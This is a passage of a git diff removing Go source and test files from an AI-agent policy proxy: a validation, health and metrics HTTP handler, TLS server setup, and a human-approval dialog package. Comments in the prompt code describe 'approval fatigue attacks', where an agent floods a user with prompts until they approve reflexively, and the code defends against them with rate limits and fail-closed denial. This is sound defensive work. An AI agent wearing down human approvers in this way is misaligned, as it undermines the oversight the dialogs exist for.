http.StatusMethodNotAllowed, "method_not_allowed", "Only GET is allowed", "") - return - } - - policyHash := "" - if h.identityManager != nil { - policyHash = h.identityManager.GetPolicyHash() - } - - resp := HealthResponse{ - Status: "healthy", - Version: "v1alpha2", - PolicyHash: policyHash, - UptimeSeconds: int64(time.Since(h.startTime).Seconds()), - } - - h.sendJSON(w, http.StatusOK, resp) -} - -// HandleMetrics handles GET requests to the metrics endpoint. -func (h *Handler) HandleMetrics(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodGet { - h.sendError(w, http.StatusMethodNotAllowed, "method_not_allowed", "Only GET is allowed", "") - return - } - - w.Header().Set("Content-Type", "text/plain; charset=utf-8") - w.WriteHeader(http.StatusOK) - _, _ = w.Write([]byte(h.metrics.Prometheus())) -} - -// sendJSON sends a JSON response. -func (h *Handler) sendJSON(w http.ResponseWriter, status int, data interface{}) { - w.Header().Set("Content-Type", "application/json") - w.WriteHeader(status) - _ = json.NewEncoder(w).Encode(data) -} - -// sendError sends an error response. -func (h *Handler) sendError(w http.ResponseWriter, status int, errorCode, message, tokenError string) { - resp := ErrorResponse{ - Error: errorCode, - Message: message, - TokenError: tokenError, - } - h.sendJSON(w, status, resp) -} diff --git a/implementations/go-proxy/pkg/server/handler_test.go b/implementations/go-proxy/pkg/server/handler_test.go deleted file mode 100644 index 1baf140..0000000 --- a/implementations/go-proxy/pkg/server/handler_test.go +++ /dev/null @@ -1,259 +0,0 @@ -package server - -import ( - "bytes" - "encoding/json" - "net/http" - "net/http/httptest" - "strings" - "testing" - - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy" -) - -func newTestEngine(t *testing.T) *policy.Engine { - engine := policy.NewEngine() - err := engine.Load([]byte(` -apiVersion: aip.io/v1alpha2 -kind: AgentPolicy -metadata: - name: test-policy -spec: - allowed_tools: - - allowed_tool - - another_tool - tool_rules: - - tool: blocked_tool - action: block -`)) - if err != nil { - t.Fatalf("Failed to load test policy: %v", err) - } - return engine -} - -func TestHandleValidate_AllowedTool(t *testing.T) { - engine := newTestEngine(t) - handler := NewHandler(engine, nil) - - req := ValidationRequest{ - Tool: "allowed_tool", - Arguments: map[string]any{"arg1": "value1"}, - } - body, _ := json.Marshal(req) - - httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", bytes.NewReader(body)) - httpReq.Header.Set("Content-Type", "application/json") - rec := httptest.NewRecorder() - - handler.HandleValidate(rec, httpReq) - - if rec.Code != http.StatusOK { - t.Errorf("Expected status 200, got %d", rec.Code) - } - - var resp ValidationResponse - if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { - t.Fatalf("Failed to parse response: %v", err) - } - - if resp.Decision != "allow" { - t.Errorf("Expected decision 'allow', got %q", resp.Decision) - } -} - -func TestHandleValidate_BlockedTool(t *testing.T) { - engine := newTestEngine(t) - handler := NewHandler(engine, nil) - - req := ValidationRequest{ - Tool: "blocked_tool", - Arguments: map[string]any{}, - } - body, _ := json.Marshal(req) - - httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", bytes.NewReader(body)) - httpReq.Header.Set("Content-Type", "application/json") - rec := httptest.NewRecorder() - - handler.HandleValidate(rec, httpReq) - - if rec.Code != http.StatusOK { - t.Errorf("Expected status 200, got %d", rec.Code) - } - - var resp ValidationResponse - if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { - t.Fatalf("Failed to parse response: %v", err) - } - - if resp.Decision != "block" { - t.Errorf("Expected decision 'block', got %q", resp.Decision) - } - if len(resp.Violations) == 0 { - t.Error("Expected violations to be populated") - } -} - -func TestHandleValidate_UnknownTool(t *testing.T) { - engine := newTestEngine(t) - handler := NewHandler(engine, nil) - - req := ValidationRequest{ - Tool: "unknown_tool", - Arguments: map[string]any{}, - } - body, _ := json.Marshal(req) - - httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", bytes.NewReader(body)) - httpReq.Header.Set("Content-Type", "application/json") - rec := httptest.NewRecorder() - - handler.HandleValidate(rec, httpReq) - - if rec.Code != http.StatusOK { - t.Errorf("Expected status 200, got %d", rec.Code) - } - - var resp ValidationResponse - _ = json.Unmarshal(rec.Body.Bytes(), &resp) - - if resp.Decision != "block" { - t.Errorf("Expected decision 'block' for unknown tool, got %q", resp.Decision) - } -} - -func TestHandleValidate_MethodNotAllowed(t *testing.T) { - engine := newTestEngine(t) - handler := NewHandler(engine, nil) - - httpReq := httptest.NewRequest(http.MethodGet, "/v1/validate", nil) - rec := httptest.NewRecorder() - - handler.HandleValidate(rec, httpReq) - - if rec.Code != http.StatusMethodNotAllowed { - t.Errorf("Expected status 405, got %d", rec.Code) - } -} - -func TestHandleValidate_InvalidJSON(t *testing.T) { - engine := newTestEngine(t) - handler := NewHandler(engine, nil) - - httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", strings.NewReader("invalid json")) - httpReq.Header.Set("Content-Type", "application/json") - rec := httptest.NewRecorder() - - handler.HandleValidate(rec, httpReq) - - if rec.Code != http.StatusBadRequest { - t.Errorf("Expected status 400, got %d", rec.Code) - } -} - -func TestHandleValidate_MissingTool(t *testing.T) { - engine := newTestEngine(t) - handler := NewHandler(engine, nil) - - req := ValidationRequest{ - Arguments: map[string]any{}, - } - body, _ := json.Marshal(req) - - httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", bytes.NewReader(body)) - httpReq.Header.Set("Content-Type", "application/json") - rec := httptest.NewRecorder() - - handler.HandleValidate(rec, httpReq) - - if rec.Code != http.StatusBadRequest { - t.Errorf("Expected status 400, got %d", rec.Code) - } -} - -func TestHandleHealth(t *testing.T) { - engine := newTestEngine(t) - handler := NewHandler(engine, nil) - - httpReq := httptest.NewRequest(http.MethodGet, "/health", nil) - rec := httptest.NewRecorder() - - handler.HandleHealth(rec, httpReq) - - if rec.Code != http.StatusOK { - t.Errorf("Expected status 200, got %d", rec.Code) - } - - var resp HealthResponse - if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { - t.Fatalf("Failed to parse response: %v", err) - } - - if resp.Status != "healthy" { - t.Errorf("Expected status 'healthy', got %q", resp.Status) - } - if resp.Version != "v1alpha2" { - t.Errorf("Expected version 'v1alpha2', got %q", resp.Version) - } - if resp.UptimeSeconds < 0 { - t.Error("Uptime should be non-negative") - } -} - -func TestHandleHealth_MethodNotAllowed(t *testing.T) { - engine := newTestEngine(t) - handler := NewHandler(engine, nil) - - httpReq := httptest.NewRequest(http.MethodPost, "/health", nil) - rec := httptest.NewRecorder() - - handler.HandleHealth(rec, httpReq) - - if rec.Code != http.StatusMethodNotAllowed { - t.Errorf("Expected status 405, got %d", rec.Code) - } -} - -func TestHandleMetrics(t *testing.T) { - engine := newTestEngine(t) - handler := NewHandler(engine, nil) - - // Make some requests to generate metrics - req := ValidationRequest{Tool: "allowed_tool"} - body, _ := json.Marshal(req) - httpReq := httptest.NewRequest(http.MethodPost, "/v1/validate", bytes.NewReader(body)) - rec := httptest.NewRecorder() - handler.HandleValidate(rec, httpReq) - - // Get metrics - httpReq = httptest.NewRequest(http.MethodGet, "/metrics", nil) - rec = httptest.NewRecorder() - handler.HandleMetrics(rec, httpReq) - - if rec.Code != http.StatusOK { - t.Errorf("Expected status 200, got %d", rec.Code) - } - - body2 := rec.Body.String() - if !strings.Contains(body2, "aip_requests_total") { - t.Error("Metrics should contain aip_requests_total") - } - if !strings.Contains(body2, "aip_decisions_total") { - t.Error("Metrics should contain aip_decisions_total") - } -} - -func TestHandleMetrics_MethodNotAllowed(t *testing.T) { - engine := newTestEngine(t) - handler := NewHandler(engine, nil) - - httpReq := httptest.NewRequest(http.MethodPost, "/metrics", nil) - rec := httptest.NewRecorder() - - handler.HandleMetrics(rec, httpReq) - - if rec.Code != http.StatusMethodNotAllowed { - t.Errorf("Expected status 405, got %d", rec.Code) - } -} diff --git a/implementations/go-proxy/pkg/server/metrics.go b/implementations/go-proxy/pkg/server/metrics.go deleted file mode 100644 index f58f16f..0000000 --- a/implementations/go-proxy/pkg/server/metrics.go +++ /dev/null @@ -1,114 +0,0 @@ -package server - -import ( - "fmt" - "strings" - "sync" - "sync/atomic" -) - -// Metrics collects server metrics for Prometheus export. -type Metrics struct { - requestsTotal atomic.Int64 - decisionsTotal map[string]*atomic.Int64 - violationsTotal map[string]*atomic.Int64 - - mu sync.RWMutex -} - -// NewMetrics creates a new metrics collector. -func NewMetrics() *Metrics { - return &Metrics{ - decisionsTotal: map[string]*atomic.Int64{ - "allow": {}, - "block": {}, - "ask": {}, - "rate_limited": {}, - "protected_path": {}, - "token_required": {}, - "token_invalid": {}, - }, - violationsTotal: map[string]*atomic.Int64{ - "argument_validation": {}, - "tool_not_allowed": {}, - "rate_limited": {}, - "protected_path": {}, - }, - } -} - -// IncrementRequests increments the total request counter. -func (m *Metrics) IncrementRequests() { - m.requestsTotal.Add(1) -} - -// IncrementDecision increments a decision counter. -func (m *Metrics) IncrementDecision(decision string) { - m.mu.RLock() - counter, ok := m.decisionsTotal[decision] - m.mu.RUnlock() - - if ok { - counter.Add(1) - } -} - -// IncrementViolation increments a violation counter. -func (m *Metrics) IncrementViolation(violationType string) { - m.mu.RLock() - counter, ok := m.violationsTotal[violationType] - m.mu.RUnlock() - - if ok { - counter.Add(1) - } -} - -// GetRequestsTotal returns the total request count. -func (m *Metrics) GetRequestsTotal() int64 { - return m.requestsTotal.Load() -} - -// GetDecisionsTotal returns decision counts by type. -func (m *Metrics) GetDecisionsTotal() map[string]int64 { - m.mu.RLock() - defer m.mu.RUnlock() - - result := make(map[string]int64) - for k, v := range m.decisionsTotal { - result[k] = v.Load() - } - return result -} - -// Prometheus returns metrics in Prometheus text format. -func (m *Metrics) Prometheus() string { - var sb strings.Builder - - // requests_total - sb.WriteString("# HELP aip_requests_total Total number of validation requests\n") - sb.WriteString("# TYPE aip_requests_total counter\n") - sb.WriteString(fmt.Sprintf("aip_requests_total %d\n", m.requestsTotal.Load())) - sb.WriteString("\n") - - // decisions_total - sb.WriteString("# HELP aip_decisions_total Total decisions by type\n") - sb.WriteString("# TYPE aip_decisions_total counter\n") - m.mu.RLock() - for decision, counter := range m.decisionsTotal { - sb.WriteString(fmt.Sprintf("aip_decisions_total{decision=\"%s\"} %d\n", decision, counter.Load())) - } - m.mu.RUnlock() - sb.WriteString("\n") - - // violations_total - sb.WriteString("# HELP aip_violations_total Total violations by type\n") - sb.WriteString("# TYPE aip_violations_total counter\n") - m.mu.RLock() - for violationType, counter := range m.violationsTotal { - sb.WriteString(fmt.Sprintf("aip_violations_total{type=\"%s\"} %d\n", violationType, counter.Load())) - } - m.mu.RUnlock() - - return sb.String() -} diff --git a/implementations/go-proxy/pkg/server/metrics_test.go b/implementations/go-proxy/pkg/server/metrics_test.go deleted file mode 100644 index 3bc3ecb..0000000 --- a/implementations/go-proxy/pkg/server/metrics_test.go +++ /dev/null @@ -1,135 +0,0 @@ -package server - -import ( - "strings" - "testing" -) - -func TestNewMetrics(t *testing.T) { - m := NewMetrics() - - if m == nil { - t.Fatal("NewMetrics should not return nil") - } - - if m.GetRequestsTotal() != 0 { - t.Errorf("Initial requests should be 0, got %d", m.GetRequestsTotal()) - } -} - -func TestMetricsIncrementRequests(t *testing.T) { - m := NewMetrics() - - m.IncrementRequests() - if m.GetRequestsTotal() != 1 { - t.Errorf("After 1 increment, requests should be 1, got %d", m.GetRequestsTotal()) - } - - m.IncrementRequests() - m.IncrementRequests() - if m.GetRequestsTotal() != 3 { - t.Errorf("After 3 increments, requests should be 3, got %d", m.GetRequestsTotal()) - } -} - -func TestMetricsIncrementDecision(t *testing.T) { - m := NewMetrics() - - m.IncrementDecision("allow") - m.IncrementDecision("allow") - m.IncrementDecision("block") - - decisions := m.GetDecisionsTotal() - - if decisions["allow"] != 2 { - t.Errorf("allow count should be 2, got %d", decisions["allow"]) - } - if decisions["block"] != 1 { - t.Errorf("block count should be 1, got %d", decisions["block"]) - } -} - -func TestMetricsIncrementDecisionUnknown(t *testing.T) { - m := NewMetrics() - - // Should not panic for unknown decision types - m.IncrementDecision("unknown_decision") -} - -func TestMetricsIncrementViolation(t *testing.T) { - m := NewMetrics() - - m.IncrementViolation("argument_validation") - m.IncrementViolation("argument_validation") - m.IncrementViolation("tool_not_allowed") - - // Verify through Prometheus output - output := m.Prometheus() - - if !strings.Contains(output, `aip_violations_total{type="argument_validation"}`) { - t.Error("Prometheus output should contain argument_validation violation") - } -} - -func TestMetricsPrometheus(t *testing.T) { - m := NewMetrics() - - m.IncrementRequests() - m.IncrementDecision("allow") - - output := m.Prometheus() - - // Check for HELP comments - if !strings.Contains(output, "# HELP aip_requests_total") { - t.Error("Prometheus output should contain HELP for aip_requests_total") - } - if !strings.Contains(output, "# TYPE aip_requests_total counter") { - t.Error("Prometheus output should contain TYPE for aip_requests_total") - } - - // Check for actual metric - if !strings.Contains(output, "aip_requests_total 1") { - t.Error("Prometheus output should show requests_total = 1") - } - - // Check for decisions - if !strings.Contains(output, "# HELP aip_decisions_total") { - t.Error("Prometheus output should contain HELP for aip_decisions_total") - } - if !strings.Contains(output, `aip_decisions_total{decision="allow"} 1`) { - t.Error("Prometheus output should show allow decision = 1") - } - - // Check for violations - if !strings.Contains(output, "# HELP aip_violations_total") { - t.Error("Prometheus output should contain HELP for aip_violations_total") - } -} - -func TestMetricsConcurrency(t *testing.T) { - m := NewMetrics() - - // Run concurrent increments - done := make(chan bool, 100) - for i := 0; i < 100; i++ { - go func() { - m.IncrementRequests() - m.IncrementDecision("allow") - done <- true - }() - } - - // Wait for all goroutines - for i := 0; i < 100; i++ { - <-done - } - - if m.GetRequestsTotal() != 100 { - t.Errorf("After 100 concurrent increments, requests should be 100, got %d", m.GetRequestsTotal()) - } - - decisions := m.GetDecisionsTotal() - if decisions["allow"] != 100 { - t.Errorf("After 100 concurrent increments, allow should be 100, got %d", decisions["allow"]) - } -} diff --git a/implementations/go-proxy/pkg/server/server.go b/implementations/go-proxy/pkg/server/server.go deleted file mode 100644 index 929865e..0000000 --- a/implementations/go-proxy/pkg/server/server.go +++ /dev/null @@ -1,145 +0,0 @@ -package server - -import ( - "context" - "crypto/tls" - "crypto/x509" - "fmt" - "log" - "net/http" - "os" - "time" - - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/identity" - "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy" -) - -// Server is the HTTP server for AIP validation. -type Server struct { - config *Config - httpServer *http.Server - handler *Handler - logger *log.Logger - engine *policy.Engine - identityManager *identity.Manager -} - -// NewServer creates a new AIP HTTP server. -func NewServer(config *Config, engine *policy.Engine, identityManager *identity.Manager, logger *log.Logger) (*Server, error) { - if config == nil { - config = DefaultConfig() - } - - if err := config.Validate(); err != nil { - return nil, fmt.Errorf("invalid server config: %w", err) - } - - if logger == nil { - logger = log.New(os.Stderr, "[aip-server] ", log.LstdFlags|log.Lmsgprefix) - } - - handler := NewHandler(engine, identityManager) - - // Create HTTP mux - mux := http.NewServeMux() - mux.HandleFunc(config.GetValidatePath(), handler.HandleValidate) - mux.HandleFunc(config.GetHealthPath(), handler.HandleHealth) - mux.HandleFunc(config.GetMetricsPath(), handler.HandleMetrics) - - httpServer := &http.Server{ - Addr: config.GetListen(), - Handler: mux, - ReadTimeout: 10 * time.Second, - WriteTimeout: 10 * time.Second, - IdleTimeout: 60 * time.Second, - ReadHeaderTimeout: 5 * time.Second, - } - - // Configure TLS if enabled - if config.HasTLS() { - tlsConfig, err := buildTLSConfig(config.TLS) - if err != nil { - return nil, fmt.Errorf("failed to build TLS config: %w", err) - } - httpServer.TLSConfig = tlsConfig - } - - return &Server{ - config: config, - httpServer: httpServer, - handler: handler, - logger: logger, - engine: engine, - identityManager: identityManager, - }, nil -} - -// buildTLSConfig creates a TLS configuration from the config. -func buildTLSConfig(cfg *TLSConfig) (*tls.Config, error) { - tlsConfig := &tls.Config{ - MinVersion: tls.VersionTLS12, - } - - // Load client CA if mTLS is enabled - if cfg.RequireClientCert && cfg.ClientCA != "" { - caCert, err := os.ReadFile(cfg.ClientCA) - if err != nil { - return nil, fmt.Errorf("failed to read client CA: %w", err) - } - - caCertPool := x509.NewCertPool() - if !caCertPool.AppendCertsFromPEM(caCert) { - return nil, fmt.Errorf("failed to parse client CA certificate") - } - - tlsConfig.ClientCAs = caCertPool - tlsConfig.ClientAuth = tls.RequireAndVerifyClientCert - } - - return tlsConfig, nil -} - -// Start starts the HTTP server. -func (s *Server) Start() error { - if !s.config.Enabled { - return nil // Server not enabled - } - - s.logger.Printf("Starting AIP server on %s", s.config.GetListen()) - s.logger.Printf(" Validation endpoint: %s", s.config.GetValidatePath()) - s.logger.Printf(" Health endpoint: %s", s.config.GetHealthPath()) - s.logger.Printf(" Metrics endpoint: %s", s.config.GetMetricsPath()) - - if s.config.HasTLS() { - s.logger.Printf(" TLS: enabled") - go func() { - if err := s.httpServer.ListenAndServeTLS(s.config.TLS.Cert, s.config.TLS.Key); err != nil && err != http.ErrServerClosed { - s.logger.Printf("Server error: %v", err) - } - }() - } else { - s.logger.Printf(" TLS: disabled (localhost only)") - go func() { - if err := s.httpServer.ListenAndServe(); err != nil && err != http.ErrServerClosed { - s.logger.Printf("Server error: %v", err) - } - }() - } - - return nil -} - -// Stop gracefully stops the HTTP server. -func (s *Server) Stop(ctx context.Context) error { - if !s.config.Enabled || s.httpServer == nil { - return nil - } - - s.logger.Printf("Stopping AIP server...") - return s.httpServer.Shutdown(ctx) -} - -// GetMetrics returns the server metrics. -func (s *Server) GetMetrics() *Metrics { - return s.handler.metrics -} diff --git a/implementations/go-proxy/pkg/ui/prompt.go b/implementations/go-proxy/pkg/ui/prompt.go deleted file mode 100644 index 7e6d4b6..0000000 --- a/implementations/go-proxy/pkg/ui/prompt.go +++ /dev/null @@ -1,350 +0,0 @@ -// Package ui implements human-in-the-loop approval dialogs for AIP. -// -// This package provides native OS dialog integration for the "ask" action -// in policy rules. When a tool call requires user approval, the proxy -// spawns a native dialog box asking the user to Approve or Deny the action. -// -// Platform Support: -// - macOS: Uses native Cocoa dialogs -// - Linux: Uses zenity/kdialog (GTK/Qt) -// - Windows: Uses native Win32 dialogs -// -// Headless Environment Handling: -// -// When running in a headless environment (CI/CD, containers, SSH without -// display), the dialog will fail to spawn. In this case, we default to -// DENY for security (fail-closed behavior). -// -// Timeout Behavior: -// -// To prevent blocking the agent indefinitely, dialog prompts have a -// configurable timeout (default: 60 seconds). If the user doesn't respond -// within the timeout, the request is automatically DENIED. -package ui - -import ( - "context" - "encoding/json" - "fmt" - "os" - "sync" - "time" - - "github.com/gen2brain/dlgs" -) - -// DefaultTimeout is the default duration to wait for user response. -// After this duration, the request is automatically denied. -const DefaultTimeout = 60 * time.Second - -// DefaultMaxPromptsPerMinute is the default rate limit for approval prompts. -// If more than this many prompts are requested in a minute, subsequent -// requests are auto-denied to prevent approval fatigue attacks. -const DefaultMaxPromptsPerMinute = 10 - -// DefaultCooldownDuration is how long to auto-deny after rate limit is hit. -const DefaultCooldownDuration = 5 * time.Minute - -// PrompterConfig holds configuration for the user prompt system. -type PrompterConfig struct { - // Timeout is the maximum time to wait for user response. - // Default: 60 seconds. If zero, DefaultTimeout is used. - Timeout time.Duration - - // Title is the dialog window title. - // Default: "AIP Security Alert" - Title string - - // MaxPromptsPerMinute limits how many approval prompts can be shown per minute. - // This prevents "approval fatigue" attacks where an agent floods the user - // with prompts until they reflexively click "Approve". - // Default: 10. Set to 0 to disable rate limiting. - MaxPromptsPerMinute int - - // CooldownDuration is how long to auto-deny requests after the rate limit - // is exceeded. This gives the user time to investigate the suspicious activity. - // Default: 5 minutes. Set to 0 to use default. - CooldownDuration time.Duration -} - -// Prompter handles user approval dialogs. -// -// The prompter is designed to be called from the proxy's main loop -// when a tool call has action="ask" in its policy rule. -// -// Rate Limiting: -// -// To prevent approval fatigue attacks, the prompter tracks how many -// prompts have been shown recently. If too many prompts are requested -// in a short time, subsequent requests are auto-denied and a warning -// is logged. This protects users from being tricked into approving -// malicious requests after being overwhelmed with benign ones. -type Prompter struct { - cfg PrompterConfig - - // Rate limiting state - mu sync.Mutex - promptTimes []time.Time // Timestamps of recent prompts - cooldownUntil time.Time // If set, auto-deny until this time - rateLimitLogger func(format string, args ...any) -} - -// NewPrompter creates a new Prompter with the given configuration. -// If cfg is nil, default configuration is used. -func NewPrompter(cfg *PrompterConfig) *Prompter { - p := &Prompter{ - cfg: PrompterConfig{ - Timeout: DefaultTimeout, - Title: "AIP Security Alert", - MaxPromptsPerMinute: DefaultMaxPromptsPerMinute, - CooldownDuration: DefaultCooldownDuration, - }, - promptTimes: make([]time.Time, 0), - } - if cfg != nil { - if cfg.Timeout > 0 { - p.cfg.Timeout = cfg.Timeout - } - if cfg.Title != "" { - p.cfg.Title = cfg.Title - } - if cfg.MaxPromptsPerMinute > 0 { - p.cfg.MaxPromptsPerMinute = cfg.MaxPromptsPerMinute - } else if cfg.MaxPromptsPerMinute < 0 { - // Negative value disables rate limiting - p.cfg.MaxPromptsPerMinute = 0 - } - if cfg.CooldownDuration > 0 { - p.cfg.CooldownDuration = cfg.CooldownDuration - } - } - return p -} - -// SetLogger sets a logger function for rate limit warnings. -// The logger receives format strings compatible with log.Printf. -func (p *Prompter) SetLogger(logger func(format string, args ...any)) { - p.mu.Lock() - defer p.mu.Unlock() - p.rateLimitLogger = logger -} - -// logRateLimit logs a rate limiting event if a logger is configured. -func (p *Prompter) logRateLimit(format string, args ...any) { - if p.rateLimitLogger != nil { - p.rateLimitLogger(format, args...) - } -} - -// AskUser displays a native OS dialog asking the user to approve a tool call. -// -// Parameters: -// - tool: The name of the tool being invoked -// - args: The arguments passed to the tool (displayed as JSON) -// -// Returns: -// - true if user clicked "Yes" (approve) -// - false if user clicked "No" (deny), timeout occurred, or dialog failed -// -// Security Note: -// -// This function defaults to DENY (false) in all failure cases: -// - Dialog failed to spawn (headless environment) -// - User didn't respond within timeout -// - Any unexpected error occurred -// -// This implements fail-closed security behavior. -func (p *Prompter) AskUser(tool string, args map[string]any) bool { - return p.AskUserContext(context.Background(), tool, args) -} - -// AskUserContext is like AskUser but accepts a context for cancellation. -// The context timeout takes precedence over the configured timeout. -// -// Rate Limiting: -// -// If too many prompts have been requested recently, this method returns -// false immediately without showing a dialog. This prevents approval -// fatigue attacks where an agent floods the user with prompts. -func (p *Prompter) AskUserContext(ctx context.Context, tool string, args map[string]any) bool { - // Check rate limiting first - if !p.checkRateLimit(tool) { - return false // Auto-deny due to rate limit - } - - // Build the message - message := p.buildMessage(tool, args) - - // Create result channel - resultCh := make(chan bool, 1) - - // Spawn dialog in goroutine (dlgs.Question is blocking) - go func() { - approved, err := dlgs.Question(p.cfg.Title, message, true) - if err != nil { - // Dialog failed (headless environment, display error, etc.) - // Default to DENY for security - resultCh <- false - return - } - resultCh <- approved - }() - - // Determine effective timeout - timeout := p.cfg.Timeout - if deadline, ok := ctx.Deadline(); ok { - ctxTimeout := time.Until(deadline) - if ctxTimeout < timeout { - timeout = ctxTimeout - } - } - - // Wait for result with timeout - select { - case result := <-resultCh: - return result - case <-time.After(timeout): - // Timeout - default to DENY - return false - case <-ctx.Done(): - // Context cancelled - default to DENY - return false - } -} - -// checkRateLimit verifies we haven't exceeded the prompt rate limit. -// Returns true if the prompt is allowed, false if rate limited. -// -// This is the core defense against approval fatigue attacks. -func (p *Prompter) checkRateLimit(tool string) bool { - // Rate limiting disabled? - if p.cfg.MaxPromptsPerMinute <= 0 { - return true - } - - p.mu.Lock() - defer p.mu.Unlock() - - now := time.Now() - - // Check if we're in cooldown period - if now.Before(p.cooldownUntil) { - remaining := p.cooldownUntil.Sub(now).Round(time.Second) - p.logRateLimit("RATE_LIMIT_COOLDOWN: Auto-denying %q (cooldown active, %v remaining)", tool, remaining) - return false - } - - // Clean up old timestamps (older than 1 minute) - cutoff := now.Add(-time.Minute) - validTimes := make([]time.Time, 0, len(p.promptTimes)) - for _, t := range p.promptTimes { - if t.After(cutoff) { - validTimes = append(validTimes, t) - } - } - p.promptTimes = validTimes - - // Check if we've exceeded the rate limit - if len(p.promptTimes) >= p.cfg.MaxPromptsPerMinute { - // Enter cooldown mode - p.cooldownUntil = now.Add(p.cfg.CooldownDuration) - p.logRateLimit("RATE_LIMIT_EXCEEDED: %d prompts in last minute (max: %d). "+ - "Auto-denying %q. Entering cooldown for %v. "+ - "SECURITY: Possible approval fatigue attack detected!", - len(p.promptTimes), p.cfg.MaxPromptsPerMinute, tool, p.cfg.CooldownDuration) - return false - } - - // Record this prompt - p.promptTimes = append(p.promptTimes, now) - return true -} - -// GetRateLimitStatus returns the current rate limiting status. -// Useful for diagnostics and testing. -func (p *Prompter) GetRateLimitStatus() (promptsInLastMinute int, inCooldown bool, cooldownRemaining time.Duration) { - p.mu.Lock() - defer p.mu.Unlock() - - now := time.Now() - - // Count recent prompts - cutoff := now.Add(-time.Minute) - count := 0 - for _, t := range p.promptTimes { - if t.After(cutoff) { - count++ - } - } - - inCooldown = now.Before(p.cooldownUntil) - if inCooldown { - cooldownRemaining = p.cooldownUntil.Sub(now) - } - - return count, inCooldown, cooldownRemaining -} - -// ResetRateLimit clears the rate limit state. Useful for testing. -func (p *Prompter) ResetRateLimit() { - p.mu.Lock() - defer p.mu.Unlock() - p.promptTimes = make([]time.Time, 0) - p.cooldownUntil = time.Time{} -} - -// buildMessage constructs the dialog message content. -func (p *Prompter) buildMessage(tool string, args map[string]any) string { - // Format arguments as JSON for display - argsJSON := "{}" - if len(args) > 0 { - if data, err := json.MarshalIndent(args, "", " "); err == nil { - argsJSON = string(data) - } - } - - return fmt.Sprintf( - "An agent wants to execute a tool that requires your approval.\n\n"+ - "Tool: %s\n\n"+ - "Arguments:\n%s\n\n"+ - "Do you want to allow this action?", - tool, argsJSON, - ) -} - -// IsHeadless returns true if we're likely running in a headless environment. -// -// This is a best-effort detection that checks for common indicators: -// - DISPLAY environment variable not set (Linux/Unix) -// - Running in a container (checking for /.dockerenv) -// - CI environment variables present -// -// Note: This is not foolproof. The actual dialog call may still fail -// in some headless environments, which is handled gracefully. -func IsHeadless() bool { - // Check for common CI environment variables - ciVars := []string{"CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL", "TRAVIS"} - for _, v := range ciVars { - if os.Getenv(v) != "" { - return true - } - } - - // Check for Docker container (common indicator) - if _, err := os.Stat("/.dockerenv"); err == nil { - return true - } - - // On Linux/Unix, check for DISPLAY (X11) or WAYLAND_DISPLAY - // Note: This doesn't apply to macOS which uses Cocoa - if os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == "" { - // Only consider headless on non-macOS systems - // macOS uses Cocoa dialogs which don't need DISPLAY - // We detect this by checking if we're on Darwin (handled by dlgs internally) - // For simplicity, we assume if both are empty and it's not explicitly macOS, - // we might be headless. dlgs will handle the actual failure gracefully. - return false // Let dlgs try; it handles platform detection better - } - - return false -} diff --git a/implementations/go-proxy/pkg/ui/prompt_test.go b/implementations/go-proxy/pkg/ui/prompt_test.go deleted file mode 100644 index 8af545c..0000000 --- a/implementations/go-proxy/pkg/ui/prompt_test.go +++ /dev/null @@ -1,423 +0,0 @@ -// Package ui tests for the AIP Human-in-the-Loop prompt system. -package ui - -import ( - "context" - "fmt" - "os" - "testing" - "time" -) - -// isCI returns true if running in a CI environment. -func isCI() bool { - // GitHub Actions, GitLab CI, CircleCI, Travis, etc. all set CI=true - return os.Getenv("CI") == "true" || os.Getenv("CI") == "1" -} - -// TestNewPrompterDefaults tests that NewPrompter uses default values correctly. -func TestNewPrompterDefaults(t *testing.T) { - p := NewPrompter(nil) - - if p.cfg.Timeout != DefaultTimeout { - t.Errorf("Default timeout = %v, want %v", p.cfg.Timeout, DefaultTimeout) - } - if p.cfg.Title != "AIP Security Alert" { - t.Errorf("Default title = %q, want %q", p.cfg.Title, "AIP Security Alert") - } -} - -// TestNewPrompterCustomConfig tests that NewPrompter respects custom config. -func TestNewPrompterCustomConfig(t *testing.T) { - cfg := &PrompterConfig{ - Timeout: 30 * time.Second, - Title: "Custom Title", - } - p := NewPrompter(cfg) - - if p.cfg.Timeout != 30*time.Second { - t.Errorf("Custom timeout = %v, want %v", p.cfg.Timeout, 30*time.Second) - } - if p.cfg.Title != "Custom Title" { - t.Errorf("Custom title = %q, want %q", p.cfg.Title, "Custom Title") - } -} - -// TestBuildMessage tests that the dialog message is formatted correctly. -func TestBuildMessage(t *testing.T) { - p := NewPrompter(nil) - - tests := []struct { - name string - tool string - args map[string]any - contains []string - }{ - { - name: "Basic tool without args", - tool: "test_tool", - args: nil, - contains: []string{"test_tool", "{}", "allow this action"}, - }, - { - name: "Tool with simple args", - tool: "fetch_url", - args: map[string]any{"url": "https://example.com"}, - contains: []string{"fetch_url", "url", "https://example.com"}, - }, - { - name: "Tool with multiple args", - tool: "run_query", - args: map[string]any{"database": "prod", "query": "SELECT *"}, - contains: []string{"run_query", "database", "prod", "query", "SELECT *"}, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - msg := p.buildMessage(tt.tool, tt.args) - - for _, substr := range tt.contains { - if !containsString(msg, substr) { - t.Errorf("Message missing %q:\n%s", substr, msg) - } - } - }) - } -} - -// TestAskUserContextCancellation tests that context cancellation returns false. -func TestAskUserContextCancellation(t *testing.T) { - if isCI() { - t.Skip("Skipping interactive test in CI environment") - } - - p := NewPrompter(&PrompterConfig{ - Timeout: 10 * time.Second, // Long timeout to ensure context cancels first - }) - - ctx, cancel := context.WithCancel(context.Background()) - - // Cancel immediately - cancel() - - // Should return false immediately due to cancelled context - start := time.Now() - result := p.AskUserContext(ctx, "test_tool", nil) - elapsed := time.Since(start) - - if result { - t.Error("Expected false when context is cancelled") - } - if elapsed 